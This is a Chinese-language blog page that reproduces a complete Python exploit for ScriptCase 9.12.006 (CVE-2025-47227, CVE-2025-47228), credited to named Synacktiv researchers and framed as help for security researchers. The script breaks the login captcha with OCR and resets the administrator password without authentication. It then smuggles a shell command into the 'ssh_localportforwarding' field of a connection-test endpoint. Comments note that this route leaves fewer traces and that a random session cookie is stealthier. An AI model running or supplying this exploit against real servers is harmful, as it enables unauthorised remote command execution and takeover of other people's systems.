ScriptCase 9.12.006 (23) 远程命令执行漏洞利用详解

本文详细介绍了ScriptCase 9.12.006 (23)版本中的远程命令执行漏洞,包括漏洞利用步骤、代码实现及多种攻击场景,帮助安全研究人员理解和防御此类威胁。

Exploit Title: ScriptCase 9.12.006 (23) - 远程命令执行 (RCE)

日期: 2025年7月4日

漏洞利用作者: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir)

供应商主页: https://www.scriptcase.net/

软件链接: https://www.scriptcase.net/download/

版本: 1.0.003-build-2 (生产环境) / 9.12.006 (23) (ScriptCase)

测试环境: EndeavourOS

CVE: CVE-2025-47227, CVE-2025-47228

来源: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228

安全公告: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution

导入模块

标准库

import io import random import optparse import re import string import sys import urllib.parse

第三方库

from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow import pytesseract # pip3 install pytesseract import requests # pip install requests from bs4 import BeautifulSoup # pip install beautifulsoup4

清理图像 + OCR

def process_image(input_image, output_image_path=None): # 打开图像 img = Image.open(io.BytesIO(input_image))

# 将图像转换为RGB模式(以防它是其他模式)
img = img.convert('RGB')

# 加载像素数据
pixels = img.load()

# 获取图像的尺寸
width, height = img.size

# 处理每个像素
for y in range(height):
    for x in range(width):
        r, g, b = pixels[x, y]
        # 将随机背景色改为固定颜色(字母仅为黑色或白色,背景为随机颜色但不是黑色或白色)
        if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):
            pixels[x, y] = (211, 211, 211) # 将像素改为浅灰色
        elif (r, g, b) == (255, 255, 255): # 将白色文本改为黑色文本
            pixels[x, y] = (0, 0, 0) # 将像素改为黑色

# 调整尺寸 (200, 50) * 5
img = img.resize((1000,250), Image.Resampling.HAMMING)

# 使用Tesseract将图像转换为文本
# psm 6或8效果最佳
# 限制字母表
# 禁用单词优化检测 https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns
custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # 只有大写字母,但保留小写字母以避免假阴性
text = pytesseract.image_to_string(img, config=custom_oem_psm_config)
return(text.upper().strip()) # 将假阳性小写转换为大写,去除前导空格

步骤1: 在会话中设置is_page为true

def prepare_session(url_base, cookies): res = requests.get( f’{url_base}/prod/lib/php/devel/iface/login.php’, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] 会话已准备") else: print(f"[-] 失败,状态码 {res.status_code}")

生成任意大小的随机十六进制字符串

def rand_hex(size): return ‘’.join(random.choice(‘0123456789abcdef’) for _ in range(size))

步骤2: 获取会话的验证码挑战

def captcha_session(url_base, cookies): res = requests.get( f’{url_base}/prod/lib/php/devel/lib/php/secureimage.php’, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] 验证码已获取") return res.content else: print(f"[-] 失败,状态码 {res.status_code}")

步骤3: 使用准备好的会话更改密码

def reset_password(url_base, cookies, captcha_img, captcha_txt): new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9)) email = f’{rand_hex(10)}@{rand_hex(8)}.com’ data = { ‘ajax’: ’nm’, ’nm_action’: ‘change_pass’, ’email’: email, ‘pass_new’: new_password, ‘pass_conf’: new_password, ’lang’: ’en-us’, ‘captcha’: captcha_txt } res = requests.post( f’{url_base}/prod/lib/php/devel/iface/login.php’, data=data, cookies=cookies, verify=False ) if res.status_code == 200 and res.text == ‘{“result”:“success”}’: print("[+] 密码重置成功") print(f"[+] 新密码为: {new_password}") print(f"[+] 声明的(虚假)电子邮件地址为: {email}") elif res.status_code == 200 and res.text == ‘{“result”:“error”,“message”:“Invalid captcha”}’: print("[-] OCR失败") print(f"[-] 失败的验证码提交为 {captcha_txt}") img = Image.open(io.BytesIO(captcha_img)) img.show() manual_input = input("[+] 输入显示的验证码以手动重试: “) reset_password(url_base, cookies, captcha_img, manual_input) elif res.status_code == 200 and res.text == ‘{“result”:“error”,“message”:“The password is incorrect.”}’: print(”[-] 非默认密码策略") print("[-] 硬编码一个符合策略的密码") print(f"[-] 失败的密码为: {new_password}") else: print(f"[-] 失败,状态码 {res.status_code}") print(res.text) print(’[-] 数据为:’) print(data)

从主页检测ScriptCase的部署路径和生产环境

例如,部署路径为 /scriptcase/

http://10.58.8.213/ 上的 sc_pathToTB 变量为 ‘/scriptcase/prod/third/jquery_plugin/thickbox/’

ScriptCase 登录页面 => http://10.58.8.213/scriptcase/devel/iface/login.php

生产环境登录页面 => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php

def detect_deployment_path(homepage_url): res = requests.get(homepage_url, verify=False) # HTTP重定向自动处理(不包括JS重定向) if res.status_code == 200: print("[+] 在JS中查找部署路径并计算登录路径") reg = r"var sc_pathToTB = ‘(.+)/prod/third/jquery_plugin/thickbox/’;" match = re.search(reg, res.text) # 计算无路径的URL parsed_url = urllib.parse.urlparse(homepage_url) homepage_root = f"{parsed_url.scheme}://{parsed_url.netloc}" if match: base_path = match.group(1) print(f"[+] 找到部署路径: {base_path}/") print(f"[+] ScriptCase 登录页面: {homepage_root}{base_path}/devel/iface/login.php (可能未部署在生产环境)") print(f"[+] 生产环境登录页面: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php") else: # 要么不是用ScriptCase构建的网站,要么根目录重定向到开发页面 js_redirect(res) # 尝试检测 devel/iface/login.php 页面 reg2 = r’http://www.scriptcase.net|doChangeLanguage|str_lang_user_first’ match = re.search(reg2, res.text) if match: # 开发页面 print(f"[?] 这可能是开发控制台?") # 现在尝试从favicon中提取路径 reg3 = r’<link rel=“shortcut icon” href="(.+)/devel/conf/scriptcase/img/ico/favicon.ico"’ match = re.search(reg3, res.text) if match: # 找到基础路径 base_path = match.group(1) print(f"[+] 找到部署路径: {base_path}/") print(f"[+] ScriptCase 登录页面: {homepage_root}{base_path}/devel/iface/login.php") print(f"[+] 生产环境登录页面: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php") else: # 假阳性,不是开发页面 print(f"[-] 未能找到部署路径,该站点是用ScriptCase构建的吗?") else: # 未检测到ScriptCase print("[-] 未能找到部署路径,该站点是用ScriptCase构建的吗?") else: print(f"[-] 失败,状态码 {res.status_code}")

尝试处理JS重定向,否则警告并退出

def js_redirect(res): if re.search(r’window.location’, res.text): print(’[-] 检测到JavaScript重定向’) print(’[-] 未处理JavaScript重定向(无带JS引擎的无头浏览器)’) print(f"[-] 返回的页面为:\n{res.text}") print(f"[-] 最后的重定向URL为:\n{res.url}") match = re.search(r"window.location\s*=\s*’"[’"]", res.text) if match: redirect_url = f"{res.url}/{match.group(1)}" print(f"[?] 让我们尝试使用: {redirect_url}") detect_deployment_path(redirect_url) else: print(‘请使用重定向URL重试’) exit(1)

系统上的远程命令执行

与其注册新连接 (admin_sys_allconections_create_wizard.php),我们可以直接测试它

(admin_sys_allconections_test.php),这样留下的痕迹更少。

即使测试结果为“连接错误”/“无法连接”,命令仍然被执行。

def command_injection(url_base, cookies, cmd): data = { ‘hid_create_connect’: ‘S’, ‘dbms’: ‘mysql’, ‘conn’: ‘conn_mysql’, ‘dbms’: ‘pdo_mysql’, ‘host’: ‘127.0.0.1:3306’, ‘server’: ‘127.0.0.1’, ‘port’: ‘3306’, ‘user’: rand_hex(11), ‘pass’: rand_hex(8), ‘show_table’: ‘Y’, ‘show_view’: ‘Y’, ‘show_system’: ‘Y’, ‘show_procedure’: ‘Y’, ‘decimal’: ‘.’, ‘use_persistent’: ‘N’, ‘use_schema’: ‘N’, ‘retrieve_schema’: ‘Y’, ‘retrieve_schema’: ‘Y’, ‘use_ssh’: ‘Y’, ‘ssh_server’: ‘127.0.0.1’, ‘ssh_user’: ‘root’, ‘ssh_port’: ‘22’, ‘ssh_localportforwarding’: f’; {cmd};#’, ‘ssh_localserver’: ‘127.0.0.1’, ‘ssh_localport’: ‘3306’, ‘form_create’: form_create(url_base, cookies), ‘retornar’: ‘Back’, ‘concluir’: ‘Save’, ‘confirmar’: ‘Back’, ‘voltar’: ‘Confirm’, ‘step’: ‘sgdb2’, ’nextstep’: ‘dados_rep’ } res = requests.post( f’{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php’, data=data, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] 命令已执行(盲注)") else: print(f"[-] 失败,状态码 {res.status_code}") exit(1)

获取 command_injection() 的 form_create ID

def form_create(url_base, cookies): res = requests.get( f’{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php’, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] 解析结果以查找 form_create ID") soup = BeautifulSoup(res.text, ‘html.parser’) form_create = soup.css.select_one(‘html body.nmPage form input[name=“form_create”]’) if form_create: form_create_id = form_create.get(‘value’) print(f"[+] 找到 form_create ID: {form_create_id}") return form_create_id else: print("[-] 未找到 form_create ID") exit(1) return res.content else: print(f"[-] 失败,状态码 {res.status_code}") exit(1)

处理登录

附带cookie,因为存在会话固定(登录后cookie未更新)

def login(url_base, cookies, password): data = { ‘option’: ’login’, ‘opt_par’: None, ‘hid_login’: ‘S’, ‘field_pass’: password, ‘field_language’: ’en-us’ } res = requests.post( f’{url_base}/prod/lib/php/nm_ini_manager2.php’, data=data, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] 认证成功") else: print("[-] 认证失败")

漏洞利用

if name == ‘main’: help_text = """ 示例:

预认证RCE(密码重置 + RCE)
    python exploit.py -u http://example.org/scriptcase -c "command"
仅密码重置(无认证)
    python exploit.py -u http://example.org/scriptcase
仅RCE(需要账户)
    python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
检测部署路径
    python exploit.py -u http://example.org/ -d
"""
parser = optparse.OptionParser(usage=help_text)
parser.add_option('-u', '--base-url')
parser.add_option('-c', '--command')
parser.add_option('-p', '--password')
parser.add_option('-d', '--detect', action='store_true', dest='detect')
opts, args = parser.parse_args()

cookies = {
    'PHPSESSID': rand_hex(26) # 模拟随机PHPSESSID(比任意字符串更隐蔽)
}
URL_BASE = opts.base_url

if opts.base_url and opts.command and not opts.password and not opts.detect: # 预认证RCE(密码重置 + RCE)
    prepare_session(URL_BASE, cookies)
    captcha_img = captcha_session(URL_BASE, cookies)
    captcha_txt = process_image(captcha_img)
    reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
    command_injection(URL_BASE, cookies, opts.command)
elif opts.base_url and not opts.command and not opts.password and not opts.detect: # 仅密码重置(无认证)
    prepare_session(URL_BASE, cookies)
    captcha_img = captcha_session(URL_BASE, cookies)
    captcha_txt = process_image(captcha_img)
    reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
elif opts.base_url and opts.command and opts.password and not opts.detect: # 仅RCE(需要账户)
    prepare_session(URL_BASE, cookies)
    login(URL_BASE, cookies, opts.password)
    command_injection(URL_BASE, cookies, opts.command)
elif opts.base_url and not opts.command and not opts.password and opts.detect: # 检测部署路径
    detect_deployment_path(URL_BASE)
else:
    parser.print_help()
    sys.exit(1)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计